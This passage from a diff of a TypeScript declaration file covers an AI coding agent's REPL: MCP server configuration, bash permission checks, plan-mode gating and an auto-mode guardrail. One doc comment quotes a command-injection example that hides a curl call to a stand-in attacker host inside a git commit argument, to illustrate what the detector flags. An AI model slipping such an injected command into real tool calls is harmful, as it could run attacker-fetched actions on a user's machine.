+ * `KodaXMcpServerConfig` (exported from `@kodax-ai/mcp` via the coding
+ * barrel). Unlike custom providers — which have a runtime validator —
+ * MCP entries have no canonical zod schema in the SDK today, so the
+ * CRUD does shape-level checks only (required `name`, recognized
+ * transport `type`, transport-shape coherence: stdio→command, sse|
+ * streamable-http→url). Embedders that need stricter validation can
+ * layer it on top.
+ *
+ * Path resolution: like `custom-providers.ts`, this module resolves
+ * the config file path on EVERY call via `getAgentConfigPath`, so
+ * `setAgentConfigHome()` overrides (tests, multi-tenant substrate
+ * consumers) take effect immediately.
+ */
+
+/**
+ * Return a snapshot of every MCP server currently persisted in
+ * `~/.kodax/config.json` under `mcpServers`. Returned record is a
+ * defensive deep copy — mutating it does NOT change the on-disk
+ * config (use {@link upsertMcpServer} / {@link removeMcpServer} for
+ * mutation). Order is undefined (object key order semantics).
+ */
+declare function listMcpServers(): KodaXMcpServersConfig;
+/**
+ * Look up a single MCP server config by `name`. Returns `undefined`
+ * if no such server is configured. Returned value is a defensive
+ * deep copy.
+ */
+declare function getMcpServerConfig(name: string): KodaXMcpServerConfig | undefined;
+/**
+ * Add a new MCP server OR replace an existing one with the same
+ * name. Shape is validated via {@link validateMcpServerConfig}; on
+ * validation failure the call throws and the config is NOT touched.
+ *
+ * Returns the deep-cloned stored shape (so callers can observe the
+ * normalized value without re-reading the file).
+ */
+declare function upsertMcpServer(name: string, config: KodaXMcpServerConfig): KodaXMcpServerConfig;
+/**
+ * Remove the MCP server identified by `name`. Returns `true` when an
+ * entry was removed, `false` when no server with that name existed
+ * (the file is NOT rewritten in that case — no-op for unknown names
+ * so caller code can be idempotent).
+ */
+declare function removeMcpServer(name: string): boolean;
+/**
+ * Shape-level validation. Throws on malformed input — used by
+ * {@link upsertMcpServer} before the disk write. Exposed so
+ * embedders can pre-validate user input from a popout form before
+ * showing a "save" button.
+ *
+ * Checks:
+ *   - `config` is a plain object
+ *   - transport `type` (when set) is one of stdio | sse | streamable-http
+ *   - stdio transport requires `command`
+ *   - sse / streamable-http transport requires `url`
+ *   - `connect` (when set) is one of lazy | prewarm | disabled
+ *
+ * Does NOT check that `command` resolves on PATH or that `url` is
+ * reachable — both are runtime concerns surfaced by McpServerRuntime
+ * at connection time.
+ */
+declare function validateMcpServerConfig(name: string, config: KodaXMcpServerConfig): void;
+
+/**
+ * Permission Utilities
+ *
+ * 权限工具函数 - 模式解析、匹配、路径检查
+ *
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
+ * - "Bash(npm install)" - exact command match
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
+ *
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
+ */
+
+/**
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
+ *
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
+ *   - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
+ *   - pipeline stages split on `|` (every stage must be a safe-read command),
+ *   - per-stage redirections (input redirects rejected; output redirects only
+ *     allowed when the target is a null device, which discards output rather
+ *     than writing — preserves Issue 129 behavior),
+ *   - `unparseable: true` for inputs we can't model (heredocs, command
+ *     substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
+ *     `false` so unmodeled syntax always falls through to confirmation.
+ *
+ * Per-stage syntactic checks (`isSingleBashReadCommand`) are unchanged —
+ * the AST migration only replaces the splitting + null-device-strip layer.
+ *
+ * @param command - bash command string
+ * @returns true if the command is a safe read operation
+ */
+declare function isBashReadCommand(command: string): boolean;
+/**
+ * Check if a bash command is a write operation.
+ *
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
+ * classes of false positives the regex chain had:
+ *   1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
+ *      `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
+ *      blacklist of pre-compiled regexes. The strip was fragile — any
+ *      future fd-redirect form would re-introduce the false positive.
+ *      Now redirections are structured tokens with a `target` field;
+ *      `isNullDevice(target)` is the single source of truth.
+ *   2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
+ *      matched `set-content` even when it appeared inside a quoted string
+ *      argument or inside a path. AST argv tokens are post-quote-stripping
+ *      so PowerShell verb checks compare against actual command names.
+ *
+ * Detection rules (per-stage):
+ *   - argv[0] OR argv[0..1] (joined with space) matches any entry in
+ *     `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
+ *   - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
+ *     appear inline, not just at stage start, due to PowerShell pipeline
+ *     conventions — `ls | Set-Content foo` puts the verb at argv[0] of
+ *     stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
+ *     stage 1; we cover both with a token-anywhere check).
+ *   - any non-input redirection whose target is NOT a null device.
+ *
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
+ * didn't match anything in the regex blacklist either. Plan-mode and
+ * auto-mode handle the unparseable case via separate confirmation paths.
+ *
+ * @param command - bash command string
+ * @returns true if the command is a write operation
+ */
+declare function isBashWriteCommand(command: string): boolean;
+/**
+ * Check if a tool call is allowed by the user's allowlist patterns.
+ *
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
+ * routed through the LLM-backed prefix extractor, which:
+ *   - Returns the SAFE PREFIX of the command (e.g. `git commit` for
+ *     `git commit -m "msg"`)
+ *   - Returns `injection_detected` for inputs containing command injection
+ *     (`git commit -m "x" $(curl evil.com)`)
+ *   - Returns `no_prefix` when no safe prefix can be determined
+ * Patterns then match against the extracted prefix exactly. This eliminates
+ * the pre-FEATURE_153 startsWith-based injection surface.
+ *
+ * When `extractor` is NOT supplied, falls back to the legacy
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
+ * production; the legacy branch exists for tests and headless SDK consumers
+ * without LLM access.
+ *
+ * Note: Only Bash tool is supported for pattern matching.
+ *
+ * @param toolName — tool name (only "bash" / "Bash" matched)
+ * @param input    — tool call input; reads `input.command`
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
+ *                          `~/.kodax/config.json` `alwaysAllowTools`
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
+ * @param signal    — optional abort signal forwarded to the extractor
+ */
+declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
+/**
+ * Generate pattern string for saving
+ */
+declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
+/**
+ * Check if target path requires always-confirm (permanent protection zones)
+ *
+ * Protected zones (always require confirmation, regardless of mode):
+ * - .kodax/ project config directory
+ * - ~/.kodax/ user config directory
+ * - Paths outside the project root AND outside the system temp directory
+ *
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
+ * already explicitly permit system-temp writes, so accept-edits and
+ * auto-in-project should not be stricter than plan mode on this dimension.
+ */
+declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
+/**
+ * Check whether a path stays inside the project root after resolution.
+ */
+declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
+/**
+ * Collect the file targets that a bash command might write to. Used by
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
+ *
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
+ * version concatenated four overlapping regex sweeps over the raw command
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
+ * matched as substring in `committee.txt`). The AST gives clean argv
+ * tokens with quoting stripped, and per-stage redirection targets.
+ */
+declare function collectBashWriteTargets(command: string): string[];
+declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
+    dangerous: boolean;
+    reason?: string;
+};
+/**
+ * v0.7.42 — Metadata-driven plan-mode gate.
+ *
+ * Decision order (first match wins):
+ *
+ *   1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
+ *      permitted (`null`). Covers planning-loop tools whose effect IS the
+ *      planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
+ *      `ask_user_question`, plus read-class network queries
+ *      (`web_search`, `mcp_search` / `mcp_describe` /
+ *      `mcp_read_resource` / `mcp_get_prompt`).
+ *   2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
+ *      permitted (`null`). Read tools never need plan-mode gating.
+ *   3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
+ *      (computed from `sideEffect === 'mutates-fs' AND requires path`)
+ *      can write IF the target path is `.agent/plan_mode_doc.md` or the
+ *      system temp dir.
+ *   4. `bash` special case: command-content-aware check via
+ *      `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
+ *      (`git status`, `ls`, …) is permitted; write bash with all targets
+ *      in the plan-doc / temp escape is permitted; everything else
+ *      blocks.
+ *   5. Everything else with a side effect → blocked with a generic
+ *      reason naming the side-effect class.
+ *
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
+ * a hardcoded 4-tool list that silently let `multi_edit`,
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
+ * fall through to `return null` (permitted). The metadata-driven gate
+ * closes that gap structurally — new mutating tools auto-block until
+ * explicitly opted in via `planModeAllowed: true`.
+ */
+declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string): string | null;
+
+/**
+ * Auto-Mode Guardrail Bootstrap — FEATURE_092 phase 2b.7b (v0.7.33).
+ *
+ * Builds an `AutoModeToolGuardrail` wired to the live REPL's provider
+ * registry, tool registry, AGENTS.md content, and confirm-dialog askUser
+ * surface. The factory returns a lazy accessor: the guardrail is constructed
+ * on first call so REPLs that never enter `auto` mode pay zero cost.
+ *
+ * What lives in this file (vs. inline in repl.ts):
+ *   - The wiring is FEATURE_092-specific and can be unit-tested independently.
+ *   - `repl.ts` is already large; keeping the auto-mode plumbing here makes
+ *     it greppable and easier to evolve as later phases (settings, subagent
+ *     propagation, slash-command engine toggle) extend the feature surface.
+ *
+ * Caller responsibilities (kept minimal — REPL passes down what it owns):
+ *   - `getCurrentPermissionMode` is read by `askUser` so the confirm dialog
+ *     copy reflects the user's actual mode (the guardrail itself doesn't
+ *     care about permission mode beyond "we're in auto").
+ *   - `getCurrentProvider` / `getCurrentModel` are passed as the
+ *     `getDefaultProvider` / `getDefaultModel` LIVE getters on the guardrail
+ *     config (FEATURE_092 v0.7.34 hotfix-3). They are evaluated on every
+ *     classify() call, so mid-session `/model` and `/provider` swaps DO
+ *     retarget the classifier without the user re-entering auto mode.
+ *     `claudeMd` and `rules` remain captured-at-init by design (CLAUDE.md
+ *     and `~/.kodax/auto-rules.jsonc` mid-session edits are rare; restart
+ *     applies them).
+ */
+
+interface AutoModeBootstrapDeps {
+    /**
+     * Surface-specific user-confirmation callback. Readline REPL wraps
+     * `confirmToolExecution(rl, ...)`; Ink REPL wraps `showConfirmDialog`.
+     * Bootstrap stays surface-agnostic so the same factory can wire both
+     * UIs without depending on readline.
+     */
+    readonly askUser: AutoModeAskUser;
+    readonly projectRoot: string;
+    readonly getAgentsFiles: () => AgentsFile[];
+    readonly getCurrentProviderName: () => string;
+    readonly getCurrentModel: () => string | undefined;
+    readonly getCurrentPermissionMode: () => PermissionMode;
+    /**
+     * FEATURE_092 phase 2b.7b slice C: resolved settings/env block. The REPL
+     * computes this once via `loadAutoModeSettings()` (in
+     * `packages/repl/src/common/permission-config.ts`) and threads it here so
+     * the bootstrap stays free of file-system I/O and is hermetically testable.
+     */
+    readonly autoModeSettings: ResolvedAutoModeBootstrapSettings;
+    /**
+     * Optional structured logger. Defaults to writing yellow warnings + dim
+     * info lines to stderr via console (matching REPL conventions).
+     */
+    readonly log?: (level: 'info' | 'warn', msg: string) => void;
+    /**
+     * Fired whenever the guardrail's classifier engine changes — both on
+     * automatic downgrades (denial threshold / circuit breaker) and on
+     * manual `setEngine` calls. The REPL surfaces this into status-bar
+     * state so the engine indicator stays accurate without requiring a
+     * mode toggle to refresh.
+     */
+    readonly onEngineChange?: (engine: 'llm' | 'rules') => void;
+    /**
+     * FEATURE_158 (v0.7.39): additional signal collectors merged with the
+     * coding-side defaults (`bashSignalCollector` + `fileSignalCollector`).
+     * The REPL passes `replBashPathSignalCollector` here so bash commands
+     * targeting protected paths (~/.kodax / <projectRoot>/.kodax) or
+     * redirecting outside the project produce signals — the path utilities
+     * live in @kodax/repl, so this is the layer-boundary-preserving
+     * injection point.
+     */
+    readonly extraCollectors?: readonly SignalCollector[];
+}
+/**
+ * Subset of `ResolvedAutoModeSettings` the bootstrap actually needs. Imported
+ * via structural typing so bootstrap doesn't pull a dependency on
+ * `permission-config.ts` (which would create a cycle through the REPL barrel).
+ */
+interface ResolvedAutoModeBootstrapSettings {
+    readonly engine: 'llm' | 'rules';
+    readonly classifierModel?: string;
+    readonly classifierModelEnv?: string;
+    readonly timeoutMs?: number;
+}
+interface AutoModeBootstrapResult {
+    /**
+     * Lazy accessor — constructs the guardrail on first call. Subsequent
+     * calls return the same instance so engine + tracker state is shared
+     * across turns within a session.
+     */
+    readonly getGuardrail: () => AutoModeToolGuardrail;
+    /**
+     * The rules-load result from `loadAutoRules`. Surfaced so the REPL can
+     * print sources/skipped/errors in the startup banner (phase 2b.8 will
+     * surface this via `/auto-engine`; v1 just exposes the data).
+     */
+    readonly rulesLoadResult: RulesLoadResult;
+}
+/**
+ * Async because `loadAutoRules` reads disk. Call once at REPL startup
+ * after AGENTS.md has been loaded; the returned `getGuardrail` is sync.
  */
-export * from '@kodax-ai/repl';
+declare function bootstrapAutoMode(deps: AutoModeBootstrapDeps): Promise<AutoModeBootstrapResult>;
+
+declare const KODAX_COMMANDS_DIR: string;
+interface KodaXCommand {
+    name: string;
+    description: string;
+    content: string;
+    type: 'prompt' | 'programmable';
+    execute?: (context: KodaXCommandContext) => Promise<string>;
+}
+interface KodaXCommandContext {
+    args?: string;
+    runAgent: (prompt: string) => Promise<KodaXResult>;
+}
+declare function getDefaultCommandDir(): string;
+declare function loadCommands(commandDir?: string): Promise<Map<string, KodaXCommand>>;
+declare function processCommandCall(commandName: string, args: string | undefined, commands: Map<string, KodaXCommand>, runAgent: (prompt: string) => Promise<KodaXResult>): Promise<string | null>;
+declare function parseCommandCall(input: string): [string, string?] | null;
+
+export { App, AutocompleteContextProvider, BackgroundTaskBar, ConsoleCapturer, DEFAULT_UI_STATE, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryItemRenderer, InputPrompt, KODAX_COMMANDS_DIR, KeyMatchers, KeypressHandlerPriority, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusNoticesSurface, StreamingProvider, StreamingState, SuggestionsDisplay, TOOL_STATUS_ICONS, TextBuffer, TextInput, ThinkingIndicator, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIStateProvider, _resetQueuedPromptsCacheForTests, bootstrapAutoMode, calculateVisualCursorFromLayout, calculateVisualLayout, collectBashWriteTargets, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, extractTextContent, extractTitle, formatMessagePreview, generateId, generateSavePattern, getBashOutsideProjectWriteRisk, getCharAtCodePoint, getCodePointLength, getCustomProviderConfig, getDefaultCommandDir, getKeyDisplayName, getMcpServerConfig, getPlanModeBlockReason, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, isAlwaysConfirmPath, isBashReadCommand, isBashWriteCommand, isClassicReplForced, isFunctionKey, isOwnedRendererPreferred, isPathInsideProject, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isToolCallAllowed, isVsCodeTerminalHostEnv, isWideChar, listCustomProviders, listMcpServers, loadCommands, minimalTheme, parseCommandCall, parseKeypress, processCommandCall, removeCustomProvider, removeMcpServer, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, upsertCustomProvider, upsertMcpServer, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, validateMcpServerConfig, visualWidthCache, withCapture, withCaptureSync };
+export type { AppHandle, AppProps, AppState, AutoModeBootstrapDeps, AutoModeBootstrapResult, BackgroundTaskBarItem, BackgroundTaskBarProps, Completer, Completion$1 as Completion, CreatableHistoryItem, CursorPosition, DialogSelectOption, DialogSurfaceConfirmState, DialogSurfaceProps, DialogSurfaceUIRequestState, DotsIndicatorProps, EffectiveTuiRendererMode, FullscreenPolicy, FullscreenTranscriptLayoutProps, HistoryEntry, HistoryItem, HistoryItemAssistant, HistoryItemBase, HistoryItemError, HistoryItemEvent, HistoryItemHint, HistoryItemInfo, HistoryItemRendererProps, HistoryItemSystem, HistoryItemThinking, HistoryItemToolGroup, HistoryItemType, HistoryItemUser, InputPromptProps, InteractiveSurfacePreference, KeyInfo, KeypressEvent, KeypressHandler, KeypressManager, KeypressProviderProps, KodaXCommand, KodaXCommandContext, LegacyMessageListProps, LoadingIndicatorProps, LoadingIndicatorType, Message, MessageActionsProps, MessageListProps, MessageSelectorProps, NotificationSurfaceItem, NotificationsSurfaceProps, PendingInputsIndicatorProps, ProgressIndicatorProps, PromptComposerProps, PromptEditingMode, PromptFooterLeftSideProps, PromptFooterProps, PromptFooterRightSideProps, PromptFooterSurfaceItem, PromptHelpMenuProps, PromptSubmitPayload, PromptSuggestionsSurfaceProps, QueuedCommandsSurfaceProps, ResolvedAutoModeBootstrapSettings, ShellExecutorConfig, SpinnerProps, StashNoticeProps, StatusBarProps, StatusNoticesSurfaceProps, StreamingActions, StreamingContextValue, StreamingManager, StreamingProviderProps, StreamingStateListener, Suggestion, SuggestionsDisplayProps, TerminalCapabilities, TerminalHostCapabilities, TerminalHostDetectionOptions, TerminalHostProfile, TerminalRenderHost, TextBufferOptions, TextInputProps, Theme, ThemeColors, ThemeSymbols, ThinkingIndicatorProps, ToolCall, ToolCallDisplayProps, ToolGroupProps, ToolProgressBarProps, ToolStatusBadgeProps, TranscriptViewportProps, TuiRendererMode, UIActions, UIState, UIStateProviderProps, UseAutocompleteOptions, UseAutocompleteReturn, UseInputHistoryOptions, UseInputHistoryReturn, UseKeypressOptions, UseTextBufferOptions, UseTextBufferReturn, VisualCursor, VisualLayout$1 as VisualLayout };